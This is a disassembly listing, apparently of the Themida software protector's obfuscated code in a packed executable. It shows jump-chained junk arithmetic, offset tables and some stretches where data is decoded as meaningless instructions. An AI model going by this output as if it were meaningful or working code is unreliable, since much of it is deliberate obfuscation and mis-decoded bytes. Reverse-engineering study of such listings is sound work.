		add	eax, 7F882A59h
		push	dword ptr [esp]
		jmp	loc_555F79
; ---------------------------------------------------------------------------


loc_55D7DE:				; CODE XREF: Themida_:00557C0Fj
		pop	eax
		mov	eax, [esp]
		jmp	loc_55D459
; ---------------------------------------------------------------------------


loc_55D7E7:				; CODE XREF: Themida_:0055C4CDj
		add	esp, 4
		bswap	eax
		push	2043h
		mov	[esp], eax
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55D7F9:				; CODE XREF: Themida_:00554FD2j
		push	27B8h
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	bl, 90h
		push	edx
		mov	dh, 93h
		add	bl, dh
		pop	edx
		sub	bl, al
		push	edx
		mov	dl, 36h
		neg	dl
		add	dl, 0E0h
		jmp	loc_552132
; ---------------------------------------------------------------------------


loc_55D827:				; CODE XREF: Themida_:0055AA03j
		mov	eax, ebx
		pop	ebx
		push	eax
		pop	ebx
		pop	eax
		push	ebp
		mov	ebp, 78367462h
		or	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		not	ebx
		jmp	loc_553D5A
; ---------------------------------------------------------------------------


loc_55D842:				; CODE XREF: Themida_:00559E70j
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 8051D61h
		jmp	loc_556516
; ---------------------------------------------------------------------------


loc_55D85B:				; CODE XREF: Themida_:00551C45j
		mov	dl, 0BFh
		sub	bl, dl
		pop	dx
		add	al, 0F7h
		sub	al, bl
		sub	al, 0F7h
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 0DDh
		jmp	loc_559FF4
; ---------------------------------------------------------------------------


loc_55D877:				; CODE XREF: Themida_:00557A21j
		pop	ebx
		mov	edx, [esp]
		jmp	loc_55B77C
; ---------------------------------------------------------------------------


loc_55D880:				; CODE XREF: Themida_:00558B37j
		add	esp, 4
		or	eax, eax
		jz	loc_5538D3
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 1F06324Bh
		neg	eax
		sub	eax, 0B4285D66h
		jmp	loc_55DA09
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_551FE8
; ---------------------------------------------------------------------------


loc_55D8A9:				; CODE XREF: Themida_:00554341j
		push	eax
		push	edx
		mov	edx, 4
		push	edx
		pop	eax
		mov	edx, [esp]
		jmp	loc_556F4D
; ---------------------------------------------------------------------------


loc_55D8BA:				; CODE XREF: Themida_:00555B76j
		mov	ecx, 7DD5C5AEh
		push	esi
		mov	esi, 376F53C1h
		xor	esi, 50317507h
		sub	eax, esi
		pop	esi
		jmp	loc_559302
; ---------------------------------------------------------------------------


loc_55D8D3:				; CODE XREF: Themida_:005551E7j
		mov	[esp], edi
		jmp	loc_55B8ED
; ---------------------------------------------------------------------------


loc_55D8DB:				; CODE XREF: Themida_:00552352j
		mov	[esp], ebp
		mov	ebp, 76247CF4h
		xor	ebp, 76247CF0h
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_555616
; ---------------------------------------------------------------------------


loc_55D8FA:				; CODE XREF: Themida_:0055A7B3j
		sub	esi, 31C41EA3h
		add	esi, eax
		jmp	loc_55CC37
; ---------------------------------------------------------------------------


loc_55D907:				; CODE XREF: Themida_:0055233Ej
		sub	ebx, 5B3D32D0h
		pop	edx
		or	ebx, 4966351Eh
		or	ebx, 2C9355BBh
		sub	ebx, 0DA7515Dh
		or	ebx, 45EF4B38h
		add	ebx, 450653D6h
		xor	ebx, 0AB05C354h
		add	esi, ebx
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_553776
; ---------------------------------------------------------------------------


loc_55D93D:				; CODE XREF: Themida_:0055C3D9j
		sub	al, 0E9h
		push	small 6FE9h
		mov	[esp], cx
		mov	ch, 0F4h
		jmp	loc_55DBF2
; ---------------------------------------------------------------------------


loc_55D94E:				; CODE XREF: Themida_:0055C385j
		mov	edx, 492955B7h
		not	edx
		sub	edx, 3F4D0429h
		shr	edx, 7
		add	edx, 63CC41ACh
		not	edx
		jmp	loc_5545EB
; ---------------------------------------------------------------------------


loc_55D96B:				; CODE XREF: Themida_:005599DCj
		push	edi
		jmp	loc_5585E7
; ---------------------------------------------------------------------------


loc_55D971:				; CODE XREF: Themida_:005534F5j
		add	edx, 47437B57h
		dec	edx
		add	edx, 3F7E5F84h
		push	ebx
		push	edx
		jmp	loc_556D7D
; ---------------------------------------------------------------------------


loc_55D985:				; CODE XREF: Themida_:0055B62Cj
		mov	esp, [esp]
		sub	al, dl
		pop	dx
		push	4F74h
		mov	[esp], ecx
		jmp	loc_559635
; ---------------------------------------------------------------------------


loc_55D999:				; CODE XREF: Themida_:00555455j
		add	ebx, 999312Fh
		pop	edi
		push	2988h
		mov	[esp], eax
		mov	eax, 2236215Ah
		add	ebx, eax
		pop	eax
		add	ebx, eax
		sub	ebx, 2236215Ah
		push	377h
		jmp	loc_55BB19
; ---------------------------------------------------------------------------


loc_55D9C2:				; CODE XREF: Themida_:005547BCj
		shl	bp, 7
		add	bp, 4F2Ch
		shl	bp, 8
		jmp	loc_557A56
; ---------------------------------------------------------------------------


loc_55D9D4:				; CODE XREF: Themida_:00555562j
		pop	ebx
		jmp	loc_5563DF
; ---------------------------------------------------------------------------


loc_55D9DA:				; CODE XREF: Themida_:005592DCj
		sub	esp, 4
		mov	[esp], edx
		pop	edi
		pop	edx
		mov	ebx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55A93E
; ---------------------------------------------------------------------------


loc_55D9F8:				; CODE XREF: Themida_:005544DDj
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55DA03:				; CODE XREF: Themida_:0055572Cj
		pop	edx
		jmp	loc_556F55
; ---------------------------------------------------------------------------


loc_55DA09:				; CODE XREF: Themida_:0055D89Bj
		sub	dword ptr [esp+4], 3308717Ch
		push	eax
		mov	eax, 0C66360Dh
		jmp	loc_5583ED
; ---------------------------------------------------------------------------


loc_55DA1C:				; CODE XREF: Themida_:0055CA93j
		pop	ebp
		jmp	loc_553978
; ---------------------------------------------------------------------------


loc_55DA22:				; CODE XREF: Themida_:0055A529j
		mov	ebp, 2
		jmp	loc_5524F4
; ---------------------------------------------------------------------------


loc_55DA2C:				; CODE XREF: Themida_:0055CB6Fj
		push	esi
		mov	esi, 4C9E7AEEh
		mov	ebx, 80D99A72h
		sub	ebx, esi
		pop	esi
		mov	ecx, 0D29D1214h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 71536BEFh
		shl	ecx, 8
		jmp	loc_557EF9
; ---------------------------------------------------------------------------


loc_55DA50:				; CODE XREF: Themida_:0055DA69j
		push	ebx
		push	ecx
		push	esi
		jmp	loc_556298
; ---------------------------------------------------------------------------


loc_55DA58:				; CODE XREF: Themida_:0055AED8j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	78CFh
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_55DA50
; ---------------------------------------------------------------------------


loc_55DA6E:				; CODE XREF: Themida_:0055B06Fj
		pop	edx
		jmp	loc_5544CD
; ---------------------------------------------------------------------------


loc_55DA74:				; CODE XREF: Themida_:0055BEF5j
		add	eax, 5E4B2A51h
		shr	eax, 5
		xor	eax, 466B5A6h
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 2
		add	ebx, 0E47129h
		sub	ebx, edi
		sub	ebx, 0E47129h
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_5549FA
; ---------------------------------------------------------------------------


loc_55DAAA:				; CODE XREF: Themida_:00554C09j
		shl	eax, 1
		jmp	loc_55C327
; ---------------------------------------------------------------------------


loc_55DAB1:				; CODE XREF: Themida_:0055B5E0j
		push	4BB8h
		mov	[esp], ebx
		mov	bx, 6DCEh
		push	ebx
		mov	bx, 0AFFh
		not	bx
		and	bx, 1071h
		sub	bx, 6B63h
		mov	cx, bx
		pop	ebx
		xor	cx, bx
		jmp	loc_5521CE
; ---------------------------------------------------------------------------


loc_55DADB:				; CODE XREF: Themida_:0055B4D0j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55DAE0:				; CODE XREF: Themida_:00555913j
		push	edx
		mov	dh, 8Fh
		jmp	loc_55AE70
; ---------------------------------------------------------------------------


loc_55DAE8:				; CODE XREF: Themida_:0055452Fj
		sub	al, 1Dh
		push	0DD0h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_559D5D
; ---------------------------------------------------------------------------


loc_55DB05:				; CODE XREF: Themida_:00554752j
		add	esp, 4
		sub	bl, ch
		pop	ecx
		add	bl, al
		jmp	loc_55700E
; ---------------------------------------------------------------------------


loc_55DB15:				; CODE XREF: Themida_:005531A7j
		push	ebp
		mov	ebp, 5FA23A09h
		shr	ebp, 7
		jmp	loc_55BB67
; ---------------------------------------------------------------------------


loc_55DB23:				; CODE XREF: Themida_:0055D769j
		push	edx
		mov	edx, 40726B7Dh
		sub	ebx, edx
		pop	edx
		dec	ebx
		xor	ebx, 9A83D754h
		jmp	loc_55C739
; ---------------------------------------------------------------------------


loc_55DB38:				; CODE XREF: Themida_:0055A3B5j
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		jmp	loc_555429
; ---------------------------------------------------------------------------


loc_55DB43:				; CODE XREF: Themida_:0055DBEDj
		mov	esp, [esp]
		push	3A6Fh
		mov	[esp], ebx
		jmp	loc_552F4D
; ---------------------------------------------------------------------------


loc_55DB53:				; CODE XREF: Themida_:0055B15Aj
		mov	eax, [esp]
		push	ebx
		jmp	loc_55D79E
; ---------------------------------------------------------------------------


loc_55DB5C:				; CODE XREF: Themida_:0055BFB6j
		mov	[esp], esi
		jmp	loc_55334F
; ---------------------------------------------------------------------------


loc_55DB64:				; CODE XREF: Themida_:0055D111j
		push	esi
		mov	esi, 64C92C10h
		neg	esi
		dec	esi
		jmp	loc_55B405
; ---------------------------------------------------------------------------


loc_55DB72:				; CODE XREF: Themida_:0055A71Fj
		pop	esi
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55BC6C
; ---------------------------------------------------------------------------


loc_55DB7F:				; CODE XREF: Themida_:0055D372j
		push	eax
		mov	ah, 0C6h
		sub	bh, ah
		pop	eax
		sub	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55DBD1
; ---------------------------------------------------------------------------


loc_55DB92:				; CODE XREF: Themida_:00556369j
		add	[esp+8], ebx
		sub	dword ptr [esp+8], 38596494h
		pop	ebx
		jmp	loc_553053
; ---------------------------------------------------------------------------


loc_55DBA4:				; CODE XREF: Themida_:0055BFC7j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, edx
		mov	edx, [esp]
		push	esi
		push	65D1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_555B9E
; ---------------------------------------------------------------------------


loc_55DBD1:				; CODE XREF: Themida_:0055DB8Dj
		sub	al, dl
		jmp	loc_552E28
; ---------------------------------------------------------------------------


loc_55DBD8:				; CODE XREF: Themida_:0055D17Fj
		sub	dl, 1
		sub	ch, dl
		jmp	loc_559498
; ---------------------------------------------------------------------------


loc_55DBE2:				; CODE XREF: Themida_:005540A0j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55DB43
; ---------------------------------------------------------------------------


loc_55DBF2:				; CODE XREF: Themida_:0055D949j
		add	al, 7Bh
		add	al, 0EEh
		add	al, ch
		sub	al, 0EEh
		sub	al, 7Bh
		pop	cx
		add	al, 75h
		sub	al, bl
		sub	al, 75h
		jmp	loc_55970A
; ---------------------------------------------------------------------------


loc_55DC09:				; CODE XREF: Themida_:0055358Dj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55DC1B:				; CODE XREF: Themida_:0055CE27j
		shr	cl, 6
		jmp	loc_553151
; ---------------------------------------------------------------------------


loc_55DC23:				; CODE XREF: Themida_:0055BE58j
		push	ebx
		push	esi
		push	ecx
		push	7C360CD3h
		pop	ecx
		inc	ecx
		inc	ecx
		shr	ecx, 1
		add	ecx, 1A203026h
		mov	esi, ecx
		pop	ecx
		jmp	loc_55BF49
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		mov	bh, 92h
		sub	esp, 4
		jmp	loc_55B90A
; ---------------------------------------------------------------------------


loc_55DC4C:				; CODE XREF: Themida_:00555C75j
		add	ecx, esi
		pop	esi
		mov	edi, [esp]
		jmp	loc_558E9A
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	2726h
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_55348D
; ---------------------------------------------------------------------------


loc_55DC78:				; CODE XREF: Themida_:0055A152j
		mov	edi, 60E3648Bh
		push	eax
		mov	eax, 0ED22970h
		xor	eax, 78EB2226h
		jmp	loc_55B8C3
; ---------------------------------------------------------------------------


loc_55DC8D:				; CODE XREF: Themida_:0055BAEBj
		push	ebp
		push	3CD63DC0h
		pop	ebp
		add	dword ptr [esp+4], 0B26361Dh
		add	[esp+4], ebp
		jmp	loc_55965D
; ---------------------------------------------------------------------------


loc_55DCA5:				; CODE XREF: Themida_:00554246j
		mov	edx, esp
		jmp	loc_553DDF
; ---------------------------------------------------------------------------


loc_55DCAC:				; CODE XREF: Themida_:0055B38Ej
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55198C
; ---------------------------------------------------------------------------


loc_55DCB7:				; CODE XREF: Themida_:0055C10Fj
		mov	edi, ebp
		pop	ebp
		add	edx, edi
		jmp	loc_55686E
; ---------------------------------------------------------------------------


loc_55DCC1:				; CODE XREF: Themida_:00557FAEj
		mov	edi, [esp]
		jmp	loc_55D652
; ---------------------------------------------------------------------------


loc_55DCC9:				; CODE XREF: Themida_:0055604Cj
		pop	ebp
		and	ecx, 1DBF1EC4h
		jmp	loc_55B0B5
; ---------------------------------------------------------------------------


loc_55DCD5:				; CODE XREF: Themida_:00558063j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_554191
; ---------------------------------------------------------------------------


loc_55DCE3:				; CODE XREF: Themida_:0055AC9Ej
		shl	eax, 1
		add	eax, 0D42D2204h
		add	ebp, 6C2C7DD8h
		add	ebp, eax
		sub	ebp, 6C2C7DD8h
		mov	eax, [esp]
		jmp	loc_553FCC
; ---------------------------------------------------------------------------


loc_55DD00:				; CODE XREF: Themida_:0055B1D3j
		mov	ecx, 52D4613Dh
		push	edi
		jmp	loc_553809
; ---------------------------------------------------------------------------


loc_55DD0B:				; CODE XREF: Themida_:00557BE7j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_553985
; ---------------------------------------------------------------------------


loc_55DD1B:				; CODE XREF: Themida_:005586C3j
		pop	ecx
		jmp	loc_5563F7
; ---------------------------------------------------------------------------


loc_55DD21:				; CODE XREF: Themida_:005528D9j
		mov	eax, 386D084Bh
		or	eax, 1B686919h
		shr	eax, 7
		add	eax, 34369044h
		jmp	loc_557038
; ---------------------------------------------------------------------------


loc_55DD38:				; CODE XREF: Themida_:005528BCj
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, esi
		pop	esi
		shr	ecx, 7
		add	ecx, 0DE0BEC7Ah
		xor	ebx, ecx
		jmp	loc_554CF2
; ---------------------------------------------------------------------------


loc_55DD56:				; CODE XREF: Themida_:00555F8Fj
		mov	ebx, edx
		mov	edx, [esp]
		push	edx
		jmp	loc_5580A0
; ---------------------------------------------------------------------------


loc_55DD61:				; CODE XREF: Themida_:0055B88Fj
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55C50E
; ---------------------------------------------------------------------------


loc_55DD6B:				; CODE XREF: Themida_:00557634j
		mov	edi, esp
		add	edi, 4
		jmp	loc_553A6D
; ---------------------------------------------------------------------------
		dd 0A269DDh, 0CF3E8D8Dh, 5B7A9Ah, 0AE0Eh, 0F9AC9A0Dh, 7FFE0304h
		dd 5C3419E8h, 217h, 2, 1, 0
		dd 0F9AC9A0Dh, 5 dup(0)
		dd offset loc_55E669
		dd offset loc_564E28
		dd offset loc_562F8F
		dd offset loc_56EF67
		dd offset loc_57142E
		dd offset loc_55FEC1
		dd offset loc_56448F
		dd offset loc_5698E5
		dd offset loc_56E2BA
		dd offset loc_568C24
		dd offset loc_564E20
		dd offset loc_56A323
		dd offset loc_5627C6
		dd offset loc_57002B
		dd offset loc_56571D
		dd offset loc_56E16A
; ---------------------------------------------------------------------------
		jmp	short loc_55DE07
; ---------------------------------------------------------------------------
		push	esi
		add	[esi-0Ah], cl
		push	esi
		add	[esi+2Fh], al
		push	esi


loc_55DE07:				; CODE XREF: Themida_:0055DDFCj
		add	[ecx-10h], dl
		push	esi
		add	dl, ah
		in	al, 55h
		add	[ecx-17h], cl
		push	esi
		add	al, ah
		sub	[edi+0], dl
		jns	short loc_55DE7A
		push	esi
		add	ds:9E0056BEh, dh
		xchg	eax, edx
		push	esi
		add	[ebp-30h], cl
		push	esi
		add	[eax+1800562Fh], dh
		mov	[esi+0], dl
		dec	edi
		or	eax, 2C0D0056h
		push	esi
		add	[esi], bl
		stc
		push	esi
		add	[edx], bh
		mov	ss, word ptr [esi+0]
		adc	al, 18h
		push	esi
		add	[esi], dh
		dec	ebp
		push	esi
		add	bl, ah
		call	far ptr	56h:5AC0056h
		not	byte ptr [edx]
		push	edi
		add	al, bh
		push	56h
		add	[ecx-7Eh], ah
		push	esi
		add	al, dh
		pop	ss
		push	edi
		add	[edi+4Eh], ah
		push	esi
		add	cl, ah
		mov	dl, 56h
		add	dl, dh
		pop	ss
		push	esi
		add	[ebp-27h], dl
		push	esi
		add	[edi+27005609h], ah
		sub	edx, [esi+0]
		jo	short near ptr loc_55DEF7+1


loc_55DE7A:				; CODE XREF: Themida_:0055DE18j
		push	esi
		add	[edi-0EFFA9B6h], bh
		rcl	dword ptr [esi+0], 1
		sub	[ebx], eax
		push	edi
		add	ds:4400564Fh, al
		repne push ebp
		add	[edi], dh
		loopne	loc_55DEE9
		add	ah, dh
		xlat
		push	esi
		add	dl, dh
		add	[edi+0], dl
		lahf
		in	eax, 55h
		add	[ecx+6Dh], bh
		push	esi
		add	[eax+56h], al
		add	[ebx+79h], dh
		push	esi
		add	al, dl
		sbb	al, 57h
		add	[ecx+9], al
		push	edi
		add	[ebx-75FFA982h], al
		and	eax, 71050056h
		push	esi
		add	al, ch
		icebp
		push	ebp
		add	[ebx-68FFA9CEh], bh
		push	si
		add	[ecx], dh
		out	56h, al
		add	[esi], ch
		xchg	eax, ecx
		push	esi
		add	al, bl
		out	dx, al
		push	esi
		add	ch, cl
		adc	byte ptr [esi+0], 3Dh
		stosb
		push	esi
		add	[esi], dl
		or	[esi+0], edx
		sub	eax, 47005656h


loc_55DEE9:				; CODE XREF: Themida_:0055DE91j
		jl	short loc_55DF41
		add	[ebp+3Fh], ch
		push	esi
		add	[edi], cl
		std
		push	esi
		add	ah, bh
		db	26h
		push	esi


loc_55DEF7:				; CODE XREF: Themida_:0055DE78j
		add	[ecx+12h], al
		push	esi
		add	[ebx+70h], dl
		push	esi
		add	[ebx-0Fh], al
		push	ebp
		add	[eax+edi*8+56h], bl
		add	[edi], bh
		adc	al, 57h
		add	[edi-16h], ch
		push	esi
		add	[edx+7Dh], cl
		push	esi
		add	[eax], bl
		clc
		push	ebp
		add	ah, ch
		outsb
		push	esi
		add	dl, dl
		and	dl, [esi+0]
		mov	eax, ds:0F005606h
		pop	es
		push	edi
		add	ch, dl
		jb	short loc_55DF81
		add	[ebp+38005704h], bl
		in	al, 56h
		add	[ecx-2Ch], dl
		push	esi
		add	[edx+20h], dl
		push	esi
		add	[edi-51h], dh
		push	esi
		add	dl, dl


loc_55DF41:				; CODE XREF: Themida_:loc_55DEE9j
		and	edx, [esi+0]
		or	edi, ebp
		push	ebp
		add	[edi-78h], bl
		push	esi
		add	bh, al
		inc	edi
		push	esi
		add	[ecx-2Bh], cl
		push	esi
		add	[edx], bl
		dec	ecx
		push	esi
		add	[edi], ah
		fcom	qword ptr [esi+0]
		test	al, 0C0h
		push	esi
		add	[esi+29h], dl
		push	esi
		add	dl, bh
		mov	dl, [esi+0]
		in	eax, dx
		fcom	qword ptr [esi+0]
		movsb
		nop
		push	esi
		add	[ebx+74h], ch
		push	esi
		add	cl, ch
		xor	[esi+0], edx
		and	al, 62h
		push	esi
		add	[esi+660055F0h], bh


loc_55DF81:				; CODE XREF: Themida_:0055DF29j
		loop	loc_55DFD9
		add	bh, dl
		pop	ds
		push	edi
		add	[edi], bh
		jp	short near ptr loc_55DFE0+1
		add	dl, ch
		push	ebp
		push	esi
		add	[ecx-80h], dh
		push	esi
		add	dl, al
		rcl	dword ptr [esi+0], cl
		push	edi
		adc	edx, [esi+0]
		dec	edx
		or	[esi+0], dl
		retf
; ---------------------------------------------------------------------------
		db 8Eh,	56h, 0
		dd offset loc_569B96
		dd offset loc_560D42
		dd offset loc_56AEE3
		dd offset loc_566D32
		dd offset loc_56D25E
		dd offset loc_565D21
		dd offset loc_571E1B
		dd offset loc_56A657
		dd offset loc_561F80
		dd offset loc_56480D
		dd offset loc_570380
		dd offset loc_56DA66
		dd offset loc_571DFB
		db 88h
; ---------------------------------------------------------------------------


loc_55DFD9:				; CODE XREF: Themida_:loc_55DF81j
		lock push ebp
		add	bh, ch
		not	byte ptr [esi+0]


loc_55DFE0:				; CODE XREF: Themida_:0055DF89j
		jl	short loc_55E00C
		push	edi
		add	[edx+77005684h], ch
		icebp
		push	esi
		add	ds:0EF005653h, bl
		retn	56h
; ---------------------------------------------------------------------------
		dd offset loc_55F3CE
		dd offset loc_55F683
		dd offset loc_56F7FD
		dd offset loc_572B75
		dd offset loc_561921
		dd offset loc_56524B
; ---------------------------------------------------------------------------


loc_55E00C:				; CODE XREF: Themida_:loc_55DFE0j
		and	esi, ebp
		push	esi
		add	ch, ch
		and	[esi+0], dl
		xor	[eax], cl
		push	esi
		add	bh, ch
		push	56h
		add	[eax], bh
		push	edi
		push	esi
		add	[esi], al
		rcl	dword ptr [esi+0], 1
		bound	esp, [eax]
		push	esi
		add	al, dh
		xchg	eax, esp
		push	esi
		add	[eax+29005712h], bh
		push	si
		add	[ebx], ah
		pop	esp
		push	esi
		add	[eax], bl
		push	ds
		push	esi
		add	[ebx], dl
		pop	esp
		push	esi
		add	[edi], ch
		pop	ecx
		push	esi
		add	[esi-7DFFA91Eh], bl
		cmpsd
		push	esi
		add	ch, bl
		push	ebx
		push	esi
		add	[edi+eax*8], bl
		push	esi
; ---------------------------------------------------------------------------
		db 0
		dd offset sub_562ABA
; ---------------------------------------------------------------------------


loc_55E058:				; CODE XREF: Themida_:0059F046j
					; Themida_:0059F050j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6A94653h
		mov	eax, edi
		add	edi, 6A9436Bh
		cmp	eax, [edi+2Ch]
		jnz	short loc_55E076
		jmp	short loc_55E089
; ---------------------------------------------------------------------------


loc_55E076:				; CODE XREF: Themida_:0055E072j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55E085
; ---------------------------------------------------------------------------


loc_55E080:				; CODE XREF: Themida_:0055E087j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55E085:				; CODE XREF: Themida_:0055E07Ej
		or	ecx, ecx
		jnz	short loc_55E080


loc_55E089:				; CODE XREF: Themida_:0055E074j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55E096:				; CODE XREF: Themida_:0055E09Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55E096
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E09F:				; CODE XREF: sub_562ABA-4811j
					; sub_562ABA-47CCj ...
		lodsb
		xor	al, bl
		push	small 0BC5h
		mov	word ptr [esp+2+var_4+2], cx
		push	611Fh
		mov	[esp+6+var_8+2], eax
		jmp	loc_56C0D1
; ---------------------------------------------------------------------------


loc_55E0B7:				; CODE XREF: sub_562ABA+425Dj
		pop	ebx
		add	eax, edx
		push	ecx
		mov	ecx, 32316506h
		add	eax, ecx
		pop	ecx
		sub	eax, 691C3C5Ch
		sub	esp, 4
		mov	[esp+6+var_8+2], esi
		push	edx
		jmp	loc_568065
; ---------------------------------------------------------------------------


loc_55E0D4:				; CODE XREF: sub_562ABA+B123j
		mov	ecx, 2E1D5515h
		add	ecx, 177E0D1Bh
		sub	ecx, eax
		sub	ecx, 177E0D1Bh
		pop	eax
		sub	ecx, 328F00F9h
		sub	ecx, 0C095EFAh
		shl	ecx, 5
		jmp	loc_567949
; ---------------------------------------------------------------------------


loc_55E0FC:				; CODE XREF: sub_562ABA+A110j
		add	ecx, 694D30ADh
		xor	ecx, 0D35E4E61h
		jmp	loc_56578A
; ---------------------------------------------------------------------------


loc_55E10D:				; CODE XREF: sub_562ABA+2CA1j
		xor	edi, edx
		pop	edx
		add	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 75034A06h
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 450B7196h
		sub	ecx, 6C7F366Eh
		push	ecx
		not	[esp+6+var_8+2]
		pop	ecx
		neg	ecx
		xor	ecx, 89F6A78Fh
		sub	eax, 7E206E68h
		add	eax, ecx
		add	eax, 7E206E68h
		push	[esp+2+var_4+2]
		pop	ecx
		add	esp, 4
		add	eax, ebx
		sub	eax, 4A8E058Bh
		jmp	loc_567F2F
; ---------------------------------------------------------------------------


loc_55E15A:				; CODE XREF: sub_562ABA+3AE8j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+2+var_4+2]
		mov	esp, [esp+0]
		mov	ax, [esp+0]
		push	1849h
		mov	[esp+2+var_4+2], esi
		sub	esp, 4
		push	esp
		pop	[esp+0Ah+var_C+2]
		push	edi
		jmp	loc_55E459
; ---------------------------------------------------------------------------


loc_55E182:				; CODE XREF: sub_562ABA+C879j
		mov	[esp+0Ah+var_C+2], eax
		jmp	loc_563445
; ---------------------------------------------------------------------------


loc_55E18A:				; CODE XREF: sub_562ABA+8D35j
		shr	dl, 3
		jmp	loc_56B198
; ---------------------------------------------------------------------------


loc_55E192:				; CODE XREF: sub_562ABA+8F1Cj
		xchg	edi, [esp+0Ah+var_C+2]
		pop	esp
		sub	ebx, 700D6661h
		jmp	loc_56CD1D
; ---------------------------------------------------------------------------


loc_55E1A1:				; CODE XREF: sub_562ABA+8551j
		push	0C724C31h
		pop	ebx
		and	ebx, 29BF7B7Fh
		jmp	loc_55F60D
; ---------------------------------------------------------------------------


loc_55E1B2:				; CODE XREF: sub_562ABA+8BB1j
		mov	edx, esp
		jmp	loc_55EFE1
; ---------------------------------------------------------------------------


loc_55E1B9:				; CODE XREF: sub_562ABA+7DC5j
		add	ebx, 4
		xchg	ebx, [esp+6+var_8+2]
		pop	esp


loc_55E1C3:				; CODE XREF: sub_562ABA+194Bj
		push	726Fh
		jmp	loc_5727CC
; ---------------------------------------------------------------------------


loc_55E1CD:				; CODE XREF: sub_562ABA+F145j
		pop	ecx
		add	edi, edx
		pop	edx
		add	eax, edi
		pop	edi
		push	edi
		mov	edi, 2
		add	eax, edi
		pop	edi
		xchg	eax, [esp-6+arg_0+2]
		pop	esp
		idiv	cx
		sub	esp, 4
		mov	[esp-6+arg_0+2], edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 68AC5607h
		shr	ebx, 6
		not	ebx
		inc	ebx
		jmp	loc_5653D2
; ---------------------------------------------------------------------------


loc_55E1FD:				; CODE XREF: sub_562ABA+1B35j
		push	edi
		mov	edi, 0C73C05h
		jmp	loc_56AA25
; ---------------------------------------------------------------------------


loc_55E208:				; CODE XREF: sub_562ABA+4632j
		push	638Fh
		jmp	loc_57042B
; ---------------------------------------------------------------------------


loc_55E212:				; CODE XREF: sub_562ABA+9927j
		pop	ebx
		jmp	loc_56CC87
; ---------------------------------------------------------------------------


loc_55E218:				; CODE XREF: sub_562ABA+46B0j
		xor	edx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], edx
		xor	edx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], edi
		mov	edi, 5E742446h
		push	ebp
		mov	ebp, 0
		sub	ebp, 5C291CA8h
		sub	ebp, edi
		add	ebp, 5C291CA8h
		xchg	ebp, edi
		pop	ebp
		add	edi, 2F3230A9h
		shl	edi, 6
		shr	edi, 5
		push	eax
		mov	eax, 9D3C9F44h
		sub	edi, 42591528h
		jmp	loc_561A85
; ---------------------------------------------------------------------------


loc_55E25E:				; CODE XREF: sub_562ABA+A048j
		mov	dl, cl
		pop	ecx
		sub	al, dl
		mov	dx, [esp+0]
		jmp	loc_561150
; ---------------------------------------------------------------------------


loc_55E26C:				; CODE XREF: sub_562ABA+1EBDj
		mov	[esp+0], esi
		mov	esi, 532402E3h
		push	eax
		mov	eax, 73DA6BEFh
		jmp	loc_56AEC5
; ---------------------------------------------------------------------------


loc_55E27F:				; CODE XREF: sub_562ABA+EF48j
		mov	[esp+2+var_4+2], eax
		mov	eax, 5B6A3D8Ah
		sub	eax, 337AFD6Eh
		sub	edx, 6D9839B7h
		add	edx, eax
		jmp	loc_572B37
